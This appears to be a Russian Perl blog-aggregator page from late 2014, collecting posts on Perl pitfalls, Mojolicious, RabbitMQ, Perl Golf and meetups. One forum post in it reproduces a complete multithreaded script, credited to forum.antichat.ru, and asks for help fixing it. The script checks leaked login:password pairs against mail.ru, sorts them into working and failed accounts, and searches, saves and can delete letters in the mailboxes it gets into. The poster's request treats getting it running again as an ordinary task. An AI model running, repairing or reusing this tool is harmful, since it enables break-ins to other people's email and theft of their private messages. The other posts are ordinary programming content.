Четверг, 20 ноября

Ловушки Perl: Задачи-страшилки про Perl: Такой непростой tsv

Программисту понадобилось быстренько отфильтровать и переформатировать один лог. Исходный файл содержит по одной json-записи в строке, в итоге должен получиться tab separated файл из двух колонок.

Источник данных ненадежный, в прошлый раз в логах попадались буквы вместо цифр, поэтому программист подстраховался eval-ом и валидацией.

Получился такой скрипт:

    #!/usr/bin/perl

use strict; use warnings;

use JSON;

while(<>){ my $data = eval{decode_json($_)}; next unless $data; next unless is_interesting_id($data->{id}) && is_valid_int($data->{sum}); print join("\t", $data->{id}, $data->{sum}); print "\n"; }

sub is_interesting_id { return $_[0] =~ /^5665[0-9]{7,13}$/ ? 1 : 0; }

sub is_valid_int { return $_[0] =~ /^[0-9]+$/ ? 1 : 0; }

Все хорошо? Нет! На выходе некоторые строчки пустые, а некоторые содержат только одно значение вместо положенных двух.

Среда, 19 ноября

Shoor/нал: Из-под отладчика

В перловых скриптах (во всяком случае, в тех, что запущены в юниксоподобных системах) определить, запущены ли они из-под отладчика, достаточно просто — надо проверить, существует ли переменная окружения PERLDB_PIDS:

my $DEBUG = exists $ENV{'PERLDB_PIDS'};

Однако в отладчике, встроенном в Komodo IDE 8.5, такой способ не работает — вместо PERLDB_PIDS устанавливается другая переменная PERL5DB со значением, например, BEGIN require '/opt/komodo/lib/support/dbgp/perllib/perl5db.pl' . А в штатном отладчике переменной PERL5DB нет. Значит, надо проверять обе:
my  $DEBUG
    =  exists $ENV{'PERLDB_PIDS'}
    || exists $ENV{'PERL5DB'};

http://shoorick.ru/2014/11/19/how-to-detect-perl-debugger/

upd/20.11.2014: Всё проще — существует переменная $^P

Вторник, 18 ноября

Shoor/нал: Смотрим размер файла в бесконечном цикле

Для подсчёта количества байт, символов, слов и строк в юникосоподобных операционных системах предназначена программа wc. Иногда хочется запускать её, например, раз в секунду, чтоб следить за выполнением какого-нибудь долгого процесса.

Сделал по-быстрому скрипт, который просто вызывает wc и выводит его результат, пока пользователю не надоест и он не нажмёт Ctrl+C

#!/usr/bin/perl

print STDERR "Press ^C to exit\n"; my $cmd_line = 'wc ' . join ' ', @ARGV; my $out; while (1) $out = `$cmd_line`; chomp $out; print "\cM$out"; sleep 1;


Запустить можно, например, так:
wcloop -l some-big-file.txt

http://shoorick.ru/2014/11/18/watch-for-filesize-in-infinite-loop/


upd/15:48: товарищ подсказывает:
watch -n 1 wc -l?
И верно ведь посдказывает!

Pilat66 blog: Perl — Mojolicious — аутентификация/авторизация

PlugAuth — Pluggable authentication and authorization server.

Mojolicious::Plugin::BasicAuth — Basic HTTP Auth Helper

my $b = $r->under( '/' . $self->prefix => sub { my $c = shift; my $remote_addr = $c->remote_addr; return 1 if $remote_addr =~ /^10.(\d{1..3}).(\d{1..3}).(\d{1..3})$/o; return 1 if $remote_addr eq '127.0.0.1'; if ( $c->basic_auth( realm => sub { my ($user, $password) = @_; [...]

Понедельник, 17 ноября

Хабрахабр: Метки / perl: Zabbix + Communigate Pro: low-level discovery и мониторинг аккаунтов


Предисловие


В своей первой публикации я рассказывал, как можно настроить мониторинг очередей почтовых серверов Communigate Pro (CGP) в Zabbix. Сегодня расскажу о своем небольшом опыте использования low-level discover (LLD) Zabbix для мониторинга количества пользователей в доменах. Сразу скажу, что практический смысл именно от мониторинга количества пользователей, на мой взгляд, небольшой. Сделано это было больше для собственной радости и возможности быстро ответить начальству на вопрос «а сколько у нас пользователей?» без необходимости пробегать по всем серверам.
Читать дальше →

Блог программиста — Perl, Ruby, C#: Использование pid-файлов для предотвращения повторного запуска скрипта

Использование модулей File::Pid, Pid::File::Flock и File::Flock::Tiny. Блокировки файлов, работа с pid-файлами. Работа только одной копии скрипта в один момент времени. Защита от повторного запуска одного и того же скрипта, до того, как первый экземпляр завершит свою работу. Допустим, что есть perl-скрипт, который забирает данные с удаленных серверов. Или разносит данные из одного источника в таблицы […]

Суббота, 15 ноября

Сообщество ru_perl в LiveJournal: Mojo и pagination

Привет сообщество. Подскажите как реализовать пагинацию на моджо? Плагины видел, но не понял, через контроллеры можно?

p. s. Образец хотя-бы, а то мыслей нет. Спасибо.

Пятница, 14 ноября

Сообщество ru_perl в LiveJournal: Perl and Google App Engine

https://code.google.com/p/googleappengine/issues/detail?id=34
Google наконец-то определился с поддержкой Perl. 6 лет на подумать.

Каково Ваше ощущение, Perl выпиливают потихоньку из проектов или винду переживет?

Сообщество ru_perl в LiveJournal: Кто как называет хеш с входными параметрами для функций? )

Я в свое время использовал $opt, потом $param, потом $arg... Хочется понять есть ли какой-то стандарт де-факто или до сих пор разброд и шатания? )

Сообщество ru_perl в LiveJournal: Посоветуйте Try-Catch по фэншую

Чего-то многие старые модули оказываются не безопасные, есть новые типа Try::Tiny, но у него нету няшки типа бэктрейса и другой полезной информации.

Кто чем сейчас пользуется?

Вторник, 11 ноября

Хабрахабр: Метки / perl: Установка, настройка и использование сканера уязвимостей сервера rkhunter


На хабре не раз было упомянуто приложение под названием rkhunter. Хотелось бы остановиться на нем по подробней.

Rkhunter — это сканер различных видов локальных (потенциальных) уязвимостей (бэкдоров, эксплоитов и руткитов) со своей регулярно обновляемой базой.
Он написан на bash и perl, поэтому будет работать под любой серверной ОС на базе unix без каких-либо проблем.



Читать дальше →

Понедельник, 10 ноября

Pilat66 blog: perl — autovivification — запрет autovivification

autovivification — Lexically disable autovivification. — metacpan.org.

Отменяет autovivification — автоматическое типизирование неопределённого объекта при обращении к нему в каком-нибудь контексте. Используется как

no autovivification; # !/usr/bin/env perl use strict; use warnings; { my $hashref; warn ref($hashref); my $a = $hashref->{key_a}; # $hashref stays undef warn ref($hashref); if (exists $hashref->{option}) { # Still undef [...]

Мини-портал Perl на Opennet: Двадцать первый выпуск Pragmatic Perl

Представлен двадцать первый выпуск Pragmatic Perl, русскоязычного журнала о современном программировании на Perl.

Воскресенье, 9 ноября

Сообщество ru_perl в LiveJournal: Редактор для Perl

Привет народ, подскажите какой редактор для perl поставить на Ubuntu? Padre не предлагать, снес эту ужасно глючную весчь! Долго терпел, сил уже не осталось. Поставил Gvim, оооо это такое убожество... мне что-бы перебраться со строки на другую строку надо запоминать сочетания клавиш, режим запоминать редактирования или командный?  В топку!

Спасибо заранее...

Понедельник, 3 ноября

Pilat66 blog: Что должен знать начинающий Perl разработчик о перловой инфраструктуре / Хабрахабр

Подборка рекомендаций по программированию на Perl, полезные модули.

Источник: Что должен знать начинающий Perl разработчик о перловой инфраструктуре / Хабрахабр.

Мини-портал Perl на Opennet: 6 ноября в Москве состоится мероприятие для Perl-программистов

6 ноября в Москве пройдёт мероприятие Moscow.pm, на котором состоится встреча группы московских Perl-программистов, участников всемирной ассоциации Perl Mongers. Место проведения: офис Mail.Ru Group, Москва, Ленинградский проспект, 39, стр. 79. Начало: 19:30. Требуется предварительная регистрация. Для тех, кто не сможет придти будет организована online-трансляция.

Пятница, 31 октября

Shoor/нал: Рельеф — в единых цветах

Когда я пробовал рисовать позиционную физическую карту, не сильно парился о точности соответствия цветов тем, что используются на остальных картах — тыкать пипеткой в соседние карты не хотелось. Приблизительно попал — и ладно, потом подправлю. Однако товарищи вики-географы не дремлют, шлют ссылки на правильные палитры. Хорошо, попробуем исправить.

Итак, список высот и соответствующих им цветов такой:

-10   167 223 210
0     172 208 165
100   168 198 143
200   189 204 150
300   209 215 171
400   225 228 181
500   239 235 192
750   232 225 182
1000  222 214 163
1500  211 202 157
2000  202 185 130
2500  195 167 107
3000  185 152  90
3500  170 135  83
4000  172 154 124
5000  186 174 154
6000  202 195 184
7000  224 222 216
8000  245 244 242
9000  245 244 242

Пересчитывать руками для того, чтоб использовать в Маперитиве — не наш метод. Наш метод — автоматизировать:
#!/usr/bin/perl

while (<>) chomp; my @data = split; printf '%s:#%02x%02x%02x;', @data;


Ну или можно вообще однострочник написать:
perl -nla -F'\s+' -e 'printf "%s:#%02x%02x%02x;", @F' ramp-colors-above-water.txt

Осталось добавить получившиеся цвета к команде маперитива, рисующей рельеф:
generate-hypsometric ramps=-10:#a7dfd2;0:#acd0a5;100:#a8c68f;200:#bdcc96;300:#d1d7ab;400:#e1e4b5;500:#efebc0;750:#e8e1b6;1000:#ded6a3;1500:#d3ca9d;2000:#cab982;2500:#c3a76b;3000:#b9985a;3500:#aa8753;4000:#ac9a7c;5000:#baae9a;6000:#cac3b8;7000:#e0ded8;8000:#f5f4f2;9000:#f5f4f2

Эти цвета не такие насыщенные как те, что получились сначала. Южный Урал в этой палитре получается таким:

Рельеф Южного Урала
http://shoorick.ru/2014/10/31/relief-united-colors/

Сообщество ru_perl в LiveJournal: Mojo & LWP

Приветствую сообщество))) Из примера http://mojolicio.us/perldoc/LWP#MORE-DOCUMENTATION

# Create a request
my $req = HTTP::Request->new(POST => 'http://search.cpan.org/search');
$req->content_type('application/x-www-form-urlencoded');
$req->content('query=libwww-perl&mode=dist');

# Pass request to the user agent and get a response back my $res = $ua->request($req);

# Check the outcome of the response if ($res->is_success) { print $res->content; } else { print $res->status_line, "\n"; }

Добрался таки до авторизации, начал с контактика, получаю:

{"response":[{"id":185667681,"first_name":"Marlik","last_name":"Transcendent"}]}

Как мне дернуть-то это добро? Что-то типа $res->content->ключ ??? Спасибо заранее.

Воскресенье, 26 октября

Ловушки Perl: Задачи-страшилки про Perl: Генерация конфигурации, с хорошим бекапом

Программист исправил ошибку в генерации конфигов из предыдущей задачи.

Кроме того, он улучшил бекап старых конфигов: теперь предыдущие версии будут попадать последовательно в файлы app.conf.bak.1, app.conf.bak.2 и т.п.

Удобно? Да, но есть одна особенность…

    #!/usr/bin/perl

use strict; use warnings;

use File::Slurp; use IO::Prompt;

my $conf_file = "./app.conf";

my $new_conf = generate_conf();

if (-e $conf_file && prompt(-yn, "backup old conf? [yn]" )){ backup_old_conf(); }

write_file($conf_file, {}, $new_conf);

exit;

sub generate_conf { my $conf = '';

#... return $conf; }

sub backup_old_conf { my $i = 0; # бекапим старые версии в файлах .bak.1, .bak.2 и т.д. # проверяем, какие файлы уже существуют... while(-e $conf_file.".bak.".$i++ ){ } # ... и создаем файл с следующим номером rename($conf_file, $conf_file.".bak.".$i) or die "can't backup old conf"; }

Суббота, 25 октября

Сообщество ru_perl в LiveJournal: Mojolicious нужен совет специалистов.

Суть задачки, есть шаблон по управлению записями, записи дергаются из монги. Как бы мне в этот шаблон 'впендюрить' две формы? Вот как это сейчас выглядит:



Хочется выбрать по чекбоксу запись или удалить ее, или отредактировать. Посоветуйте как сделать на каждую кнопку вызов разных action в контроллере. Спасибо.

Среда, 22 октября

Мини-портал Perl на Opennet: Двадцатый выпуск журнала Pragmatic Perl

Представлен двадцатый выпуск Pragmatic Perl, русскоязычного журнала о современном языке программирования Perl.

Вторник, 21 октября

Сообщество ru_perl в LiveJournal: Плагины

А подскажите как красивее реализовать плагины.
Хочется вызывать методы из плагинов таким образом
Foo->method()
При этом в проекте есть
Foo.pm
Foo/Ver_A.pm
Foo/Ver_B.pm
Т.е. хотелось бы как-нибудь в Foo.pm организовать условное переключение на нужный вариант реализации на основании переменной (она будет браться из конфига).


SOLVED

Пятница, 17 октября

Сообщество ru_perl в LiveJournal: Mojo Render

Доброй ночи кто не спит))) Пытаюсь показать страницу из БД, в ссылке id записи, все работает но, не рендерит шаблон. Вернее рендерит но как-то странно, то есть смотришь исходный код, все есть что нужно для отображения страницы, а в браузере неструктурированная каша, ощущение что с лейаутом что-то. Вот образец урла:

http://домен.ру/articles/543afe501f468622a22ea1d1

и даже если ручками добавлять .html ничего не меняется. Смысл такой, показываю урезанные записи на главной странице, при нажатии на сцылку должна полностью открыться эта запись. Короче встрял, потрошу гугл и читаю доки, результат ноль. Подскажите куда копать? Спасибо.

Среда, 15 октября

Ловушки Perl: Задачи-страшилки про Perl: Генерация конфигурации

Программист написал скрипт для генерации конфигов своего приложения из шаблона. В случае, если файл конфигурации уже сущестует, скрипт предлагает забекапить старую версию.

И что, вы думаете, из этого получилось?

    #!/usr/bin/perl

use strict; use warnings;

use File::Slurp;

my $conf_file = "/path/to/app.conf";

my $new_conf = generate_conf();

if (-e $conf_file && confirm("backup old conf?")){ backup_old_conf(); }

write_file($conf_file, {}, $new_conf);

exit;

sub generate_conf { my $conf = '';

# ... генерация ... return $conf; }

sub backup_old_conf { rename($conf_file, $conf_file.".bak") or die "can't backup old conf"; }

sub confirm { my $prompt = shift;

print $prompt." [yn]"; my $choice = <>; return ($choice eq 'y' ? 1 : 0); }

Понедельник, 13 октября

Сообщество ru_perl в LiveJournal: Mojo, MongoDB и курсор

Привет сообщество, пытаюсь дернуть запись из монги.

В action:

my $self = shift;
my $id = $self->stash('id');
my $db = $self->app->database;
my $coll = $db->get_collection( 'articles' );
my $cursor = $coll->find({_id => '$id'});
$self->stash(cursor => $cursor);

в templates:

% my $item = $cursor;

<%= $item %> Курсор в шаблоне MongoDB::Cursor=HASH(0x4821e80)

А так <%= $item->{title} %> фигушки!

Что я делаю не так?

Притом все тоже почти самое только для всех записей работает:

my $cursor = $coll->find({author => 'Marlik'});

while(my $item = $cursor->next){
<%= $item->{title} %>
}

Кто-нибудь знает что за такие подводные камни с id? Ткните носом где и что почитать. Спасибо.

Меркантильный гуру: GitPrep

Перестал лениться и попробовал перейти на GitPrep. Чудесная штука, кстати. Но...

При запуске на шаред хостинге при обращении к гит через https авторизация просто не работает.

https://github.com/yuki-kimoto/gitprep/issues/38 . Последний коммент автора вида "не знаю что с этим делать".

Как этим пользоваться - становится большой загадкой.

upd: нет, конечно будет любопытно переписать это с нуля и предполагая более промышленное использование, но это же куча времени...

Сообщество ru_perl в LiveJournal: Вакансия

Ищу программиста на фул-тайм. Удаленно.
Задача - переписать крупный проект с нуля.
Контакты: aleksandr.khasanov@gmail.com

Пятница, 10 октября

Сообщество ru_perl в LiveJournal: Mojo и ссылка на хэш.

Хелп миии. Прикручиваю авторизацию через Фейсбук, использую OAuth2 плагин, нашел там вот такую типа ссылку на хэш:

Takes a hashref of providers, each one with a hashref of options. For instance:

plugin 'o_auth2', {
iusethis => {
authorize_url => 'iut.com/auth',
token_url => 'iut.com/token',
key => 'foo',
secret => 'bar',
}};

Приложение делаю не лайт, нашел где реализовано на лайт и переделываю под полноценное. Что это за чудо? Это разве ссылка на хэш? И как мне его впендюрить в проект? Спасибо.

Четверг, 9 октября

XPoint.ru | Программирование::Perl::Основы: Помогите наладить работу парсера

Есть вот такой парсер ящиков

#!/usr/bin/perl
 
################# By Fepsis for forum.antichat.ru #################
 
use threads;
use threads::shared;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use HTML::Entities;
 
 
################# Config ###############
 
my $t = 1;          # число потоков
my $modCheckAcc = 0;        # если = 1 - сохраняет валидные в good.txt, не валидные в bad.txt
my $modCheckMess = 1;       # если = 1 - ищет в ящике письма, соответствующие запросу $query, если = 0, то нижеперечисленные функции не будут работать
 
     my $query = 'avito';   # запрос для поиска
 
          my $formatTxt = 0;            # если = 1 - переводит письма в текст (удаляет html теги)
          my $modSaveMess = 1;      # если = 1 - сохраняет найденные письма в папку 'mails'
          my $modDelMess = 0;       # если = 1 - удаляет найденные письма
          my $modSearch = 0;            # если = 1 - ищет в найденных письмах соответствия регулярке $pattern, результат сохраняет в 'SearchResults.txt'
 
               my $pattern = qr/Пользователь (.+?) написал вам сообщение/;      # эта регулярка вытащит "%username%" из строк "Пользователь %username% написал вам сообщение"
 
############### End Config ##############
 
 
my @bas : shared;
my @threads;
 
my $fileBad = 'bad.txt';
my $fileGood = 'good.txt';
my $srchRes = 'SearchResults.txt';
my $mailsDir = 'mails';
my $br = '<br>';
my $type = '.htm';
 
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);
 
open(BASE, 'base.txt');
chomp(@bas = <BASE>);
close(BASE);
 
 
sub logg
     {
    my ($data, $file) = @_;
    open(OUT, ">> ".$file);
    print OUT "$data\n";
    close(OUT);
     }
 
sub arbyte
     {
    my ($i) = @_;
 
    while(my $acc = shift(@bas))
         {
        print 'Thread #'.$i.': '.$acc."\n";
        my ($login, $domain, $pass) = $acc =~ /^(.+?)@(.+?):(.+?)$/;
 
        if (authorization($login, $domain, $pass))
             {
            if ($modCheckAcc == 1)
                 {
                logg($acc, $fileGood);
                 }
 
            if ($modCheckMess == 1)
                 {
                check_mess($query, $login, $domain, $pass);
                 }
             }
 
        else
             {
            if($modCheckAcc == 1) {logg($acc, $fileBad);}
             }
         }
 
 
     }
 
 
 
sub authorization
     {
    my ($login, $domain, $pass) = @_;
 
    $cookie_jar->clear();
 
    my $ex = $ua->request(POST 'http://win.mail.ru/cgi-bin/auth', ['Login' => $login, 'Domain' => $domain, 'Password' => $pass]);
    if ($ex->headers_as_string() =~/Set-Cookie: Mpop=/)
         {
        return 1;
         }
     }
 
 
sub check_mess
     {
    my ($query, $login, $domain, $pass) = @_;
 
 
    my ($ex, @messages, @tmpMess);
 
    my $j = 1;
    while (1)
         {
        $ex = $ua->request(GET 'http://e.mail.ru/cgi-bin/gosearch?q_query='.$query.'&page='.$j);
 
 
 
 
        if (my @tmpMess = $ex->content() =~ /type=\"checkbox\" name=\"id\" value=\"(.+?)\" \/><\/td>/g)
             {
            push(@messages, @tmpMess);
            $j++;
             }
 
        else {last;}
         }
 
 
    foreach (@messages)
         {
        $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/readmsg?id='.$_);
        my ($mess) = $ex->content() =~ /<base href=\"http:\/\/e\.mail\.ru\/cgi-bin\/\" \/>(.+?)<base href=\"http:\/\/e\.mail\.ru\/cgi-bin\/\" \/>/s;
 
        if ($formatTxt == 1)
             {
            $mess =~ s/<.+?>/ /g;
            $mess =~ s/\s+/ /g;
            decode_entities($mess);
            $br = "\n";
            $type = '.txt';
             }
 
        if ($modSearch == 1)
             {
            if ($mess =~ /$pattern/)
                 {
                $res = $1;
                logg($login.'@'.$domain.':'.$pass.' => '.$res, $srchRes);
                 }
             }
 
        if ($modSaveMess == 1)
             {
            logg('### begin ###'.$br.$mess.$br.'### end ###'.$br.$br, $mailsDir.'/'.$login.'#'.$domain.$type);
             }
            if ($modDelMess == 1)
             {
            $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/movemsg?remove&id='.$_);
             }
         }
     }
 
 
 
for my $i (1..$t)
     {
    push @threads, threads->create(\&arbyte, $i);
     }
 
 
foreach my $thread (@threads)
     {
    $thread->join();
     }

Помогите пожалуйста наладить его работу, чтобы он находил и складывал в папку "mails" письма ,содержащие контрольное слово (в примере "avito")
По уверению автора, изначально скрипт работал, но видимо, что то поменялось на mail.ru и парсить содержимое писем он перестал, хотя проверка на валидность работает отлично (проверял).

Вторник, 7 октября

Хабрахабр: Метки / perl: Test::Spec: плюсы, минусы и особенности


image

Test::Spec (https://metacpan.org/pod/Test::Spec) — модуль для декларативного написания юнит-тестов на Perl. Мы в REG.RU активно его используем, поэтому хочу рассказать, зачем он нужен, чем отличается от других модулей для тестирования, указать на его преимущества, недостатки и особенности реализации.

Эта статья не является вводной ни в юнит-тестирование в целом, ни в использование Test::Spec в частности. Информацию по работе с Test::Spec можно получить из документации (https://metacpan.org/pod/Test::Spec и https://metacpan.org/pod/Test::Spec::Mocks). В статье же речь пойдёт о специфике и нюансах этого модуля.

Читать дальше →

Хабрахабр: Метки / perl: Самодельный Dynamic DNS


Статья о том, как за несколько минут своими руками сделать Dynamic DNS с помощью Perl, Yandex DNS API и роутера D-Link.

Многие роутеры D-Link поддерживают встроенную функцию Dynamic DNS.
К сожалению, бесплатно доступны лишь домены вида example.dlinkddns.com.

Есть также очень удобное DNS API от Яндекса.

Этим сочетанием мы и воспользуемся.
Читать дальше →

Мини-портал Perl на Opennet: В Bugzilla устранена опасная уязвимость, открывшая новый вид атак на web-приложения

В выпусках 4.0.14, 4.2.10, 4.4.5 и 4.5.5 системы для ведения базы данных ошибок, контроля за их исправлением и общего координирования процесса разработки Bugzilla устранена опасная уязвимость (CVE-2014-1572), позволяющая поднять свои привилегии и получить доступ к закрытым группам. Теоретически аналогичные ошибки могут присутствовать и в других проектах на языке Perl, использующих модуль CGI.pm и заполняющих хэши неэкранированными значениями функции param.

Пятница, 3 октября

Хабрахабр: Метки / perl: Golf от Moscow.pm для всех




Всех с пятницей! По итогам недавно прошедшей встречи Moscow.pm я хочу предложить всем желающим посоревноваться в решении задачки.

Гольф (англ. golf) — спортивная игра, в которой отдельные участники или команды соревнуются, загоняя маленький мячик в специальные лунки ударами клюшек, пытаясь пройти отведённую дистанцию за минимальное число ударов.
Wikipedia

Игра, в которую я хочу предложить вам поиграть, также называется Golf. Суть ее в том, чтобы решить поставленную задачу за минимальное количество символов.
Читать дальше →

Вторник, 30 сентября

Хабрахабр: Метки / perl: Приглашаем на Moscow.pm и Perl Golf




В четверг, 2 октября, в офисе Mail.Ru Group состоится встреча Perl-программистов Moscow.pm. В этот день для всех гостей выступят двое докладчиков.

Первой выступит Ксения Боброва, ведущий программист Денег Mail.Ru. Тема её доклада «Гибкое конфигурирование Perl-приложения с помощью Dependency Injection». Dependency Injection — это самый простой паттерн, который почему-то не используется многими разработчиками. Ксения считает, что это эффективный инструмент для избавления от некоторых архитектурных особенностей, периодически возникающих при проектировании приложений. Ксения поведает слушателям о том, как лучше всего использовать Dependency Injection и DI-контейнерах, приведёт конкретные примеры, а также расскажет об инструментах, существенно облегчающих работу с контейнерами.

Завершит программу Павел Щербинин, Team lead в проекте Новости Mail.Ru. На примере очень популярной игры Perl Golf Павел поведает о «секретных» операторах Perl. Эта игра — вовсе не классическое компьютерное развлечение, а игра-соревнование для программистов. Её цель — написать программу, решающую некую заранее оговоренную задачу. Побеждает тот, чья программа будет иметь самый короткий код. Естественно, хорошо «играть» в такую «игру» могут лишь те, кто хорошо разбирается в тонкостях и нюансах Perl. Традиционную форму подачи материала докладчик разбавит аналогичным небольшим соревнованием для слушателей. Лучшим достанутся ценные призы. ;-)

У нас будет организована прямая трансляция мероприятия (свои вопросы докладчикам вы можете задать через @MoscowPerl), а видео с прошлых конференций вы можете найти на youtube-канале встречи. Ждём вас в офисе Mail.Ru Group 2 октября ровно к 19.00, и обязательно возьмите паспорт или водительские права. Для участия необходимо пройти регистрацию. Приходите, будет интересно!

Понедельник, 29 сентября

Чтобы не искать: Перевод с английского



Перевел с английского небольшую статью про Перл. Поскольку я вообще ни разу не переводчик и английского не знаю, то переводил два дня с помощью Гугла.

Интересный опыт. Всегда подозревал, что переводить - это весьма заморочная работа, теперь проверил лично.

Основной проблемой, я так понимаю, является даже не перевод, как таковой, а приведение дословного перевода к хорошей  литературной форме, чтобы по-русски звучало понятно и не коряво. Особенно сложно с разными фразеологическими оборотами, у которых в русском языке нет аналогов, приходится ломать голову над тем, как этот оборот переформулировать, не теряя смысла.

Конечно, в техническом тексте таких оборотов не сильно много, но мне и этого хватило:) С другой стороны, в техническом тексте есть своя специфика, которая сама по себе может быть непонятна с первого раза.

Вот, например, предложение:

Uncuddled elses.

Всего два слова. Слово "uncuddled" не переводится Гуглом. Видимо, нет такого слова. Слово "elses" Гугл переводит как "Эльсес", т.е. имя собственное. В сумме получается какая-то ерунда.

На самом деле, тут надо догадаться, что "elses" - это множественная форма от слова "else", которое, в свою очередь, является оператором языка Перл и не переводится. А слово "uncuddled" - это вроде как антоним слова "cuddled", которое переводится как "прижиматься".

Итого получаются какие-то "неприжимающиеся else". Я хоть и пишу на Перле, но почему-то раньше с таким термином не сталкивался. Дополнительное гугление подсказывает, о чем идет речь:

В операторе проверки условия if блок else можно написать на одной строке с закрывающей скобкой основного блока:

if (условие) {
    сделать_то
} else {
    сделать_это
}

а можно блок else перенести на следующую строку:

if (условие) {
    сделать_то
}
else {
    сделать_это
}

Вся разница - в одном единственном переводе строки, на работу кода это вообще никак не влияет. Однако, вопрос о том, переносить ли else на новую строку, или не переносить, является одним из религиозных вопросов оформления кода и не может быть просто проигнорирован.

Так вот - "неприжимающиеся else" - это второй вариант, когда else не прижимается к скобке. Я всегда именно так и пишу, но даже не знал, что для этого есть специальный термин.

Или вот еще предложение для перевода (точнее, два связанных предложения и пример кода):

Don't go through silly contortions to exit a loop at the top or the bottom, when Perl provides the last operator so you can exit in the middle. Just "outdent" it a little to make it more visible:

LINE:
    for (;;) {
        statements;
      last LINE if $foo;
        next LINE if /^#/;
        statements;
    }

Тут я сломал мозг.

Первую часть предложения, до запятой, я не могу перевести дословно. Вроде бы речь идет о том, что, мол, "не надо заморачиваться для выхода из цикла в верху или в низу". Но что такое "выход в верху" или "выход в низу"? В цикле нет никаких выходов "в верху" или "в низу". О чем говорит автор - я не понимаю. Соответственно, перевести это предложение правильно не могу.

Пришлось пойти на сделку с совестью и перевести весьма художественно: "Не делайте бессмысленных проходов по циклу сверху до низу". Общий смысл вроде передан верно, но настоящий переводчик в этом месте делает фейспалм.

А словечко "outdent" во втором предложении?

Есть термин "indent", означающий отступ от начала строки. В приведенном выше примере кода используются два стандартных оступа, размером 4 и 8 пробелов. А вот перед оператором last используется нестандартный отступ размером 6 пробелов. Понятно, что автор использует термин "outdent" как нечто обратное действию "indent". Но такоего термина не существует. Можно сказать что-то вроде "сделай в этой строке отступ", но нельзя сказать "сделай в этой строке отступ в обратную строну".

Автор и сам это знает, поэтому слово "outdent" у него взято в кавычки. Пришлось и мне выдумать в этом месте слово "недоотступ" и тоже взять его в кавычки.

В общем, сложностей в переводе хватает, но процесс довольно интересный. Надо теперь замахнуться на Perl Best Practices, а то без меня, чую, так и не переведут:)

Хабрахабр: Метки / perl: [Перевод] Руководство по оформлению кода на Перле


image

Конечно, у каждого программиста есть свои собственные предпочтения в отношении форматирования, но есть некоторые общие принципы, следование которым делает ваши программы легко читаемыми, понимаемыми и поддерживаемыми.

Главная фишка заключается в том, что ваши программы всегда должны запускаться с флагом -w. При необходимости, вы можете целенаправленно отключить это действие для конкретных участков кода через прагмы no warnings или переменную $^W. Так же, вы должны всегда запускать программы с использованием use strict, либо же четко понимать, почему вы этого не делаете. Прагмы use sigtrap и use diagnostics так же могут быть полезными.

Что касается эстетики оформления кода, то единственная вещь, о которой всерьез заботится Ларри, это то, что закрывающая фигурная скобка многострочного блока должна быть выровнена по вертикали с ключевым словом, начинающим всю конструкцию. Кроме того, у него есть другие предпочтения, которые не так серьезны:
Читать дальше →

Пятница, 26 сентября

Блог программиста — Perl, Ruby, C#: Как реализовать простой ajax-запрос в приложении Catalyst

Как добавить ajax-запрос при разработке Catalyst-приложения. Создание JSON-представления в Catalyst. Возврат данных в формате json. Изменение набора данных во втором элементе select, в засимости от того, какую строку пользователь выбрал в первом элементе select. Примеры perl-кода, html, js-скрипт. Установка jQuery.   К моему сожалению, конец августа и начало сентября — были для меня крайне непродуктивным […]

Среда, 17 сентября

Мини-портал Perl на Opennet: Девятнадцатый выпуск электронного журнала Pragmatic Perl

Представлен девятнадцатый выпуск Pragmatic Perl, русскоязычного журнала о современном программировании на Perl.

Понедельник, 15 сентября

Меркантильный гуру: .

"Padre is now on GitHub"

А поздно.

Понедельник, 8 сентября

Чтобы не искать: RabbitMQ — Отложенные сообщения, часть 2



В первой части не учел один важный момент. Накатал вторую часть.

Хабрахабр: Метки / perl: RabbitMQ — Отложенные сообщения, часть 2


image В предыдущей статье про отложенные сообщения я рассмотрел вариант организации отложенных сообщений для простого случая, при котором все отложенные сообщения имеют одинаковое время задержки. Однако, тут же в комментариях мне указали на то, что этот вариант организации отложенных сообщений создаст проблемы при попытке использовать его для сообщений с различающимся временем задержки.

В связи с этим хочу привести более универсальное (но чуть более сложное) решение, позволяющее организовать отложенные сообщения с произвольным временем задержки.
Читать дальше →

Пятница, 5 сентября

Хабрахабр: Метки / perl: Perl Golf на YAPC::Russia 2014




Мы в REG.RU страшно любим участвовать в интересных мероприятиях. Настолько любим, что даже сами стали их организовывать. Например, 13-14 июня, при спонсорской помощи компании и активном участии коллег, мы провели очередную конференцию perl-программистов YAPC::Russia 2014. Как всегда, собралась отличная компания, время было проведено приятно и полезно. К тому же, местом проведения конференции в этом году впервые стал Санкт-Петербург, да ещё и в разгар белых ночей! Немного весёлых картинок с мероприятия можно увидеть в соцсетях (ВКонтакте и Фейсбук), а на YouTube мы даже выложили часть докладов (и всё ещё не теряем надежды выложить остальные).

Помимо прочего культурного досуга, я решил повторить опыт прошлогодней конференции YAPC::Europe и снова провести конкурс Perl Golf.
Читать дальше →

Четверг, 4 сентября

Хабрахабр: Метки / perl: RabbitMQ — отложенные сообщения


image

На Хабре имеется серия переводов официального руководства по RabbitMQ (1, 2, 3, 4, 5). К сожалению, в официальном руководстве не рассматривается вопрос организации отложенный сообщений, а я считаю этот вопрос весьма важным. Поэтому я решал сам написать такую статью.

Примеры кода будут на Перле, но никаких специфических для Перла деталей в коде не будет, поэтому примеры могут быть сравнительно легко адаптированы для любого другого языка.
Читать дальше →

Среда, 3 сентября

Меркантильный гуру: RSS

Задачка сгенерить настоящий валидный RSS, оказывается, не такая уж простая.

С одной стороны, можно вообще по шаблону нечто похожее на XML накидать и большинство читалок это сейчас проглотят (потому что парсят это потом регекспами, вместо парсилки RSS, вероятно). Но валидным рсс оно не будет даже близко.

Хотя, казалось бы, почему XML::RSS из коробки не делает правильно? И, собственно, на кой оно вообще, если масштаб допиливания руками превышает написание всёго нужного ручками?

Вторник, 2 сентября

Хабрахабр: Метки / perl: Блокировка запуска второго экземпляра программы на Perl


image

Время от времени возникает необходимость сделать так, чтобы программа гарантированно работала в одном экземпляре. Например, это может быть скрипт, который генерирует некий файл — если запустить одновременно два экземпляра скрипта, то файл будет испорчен.

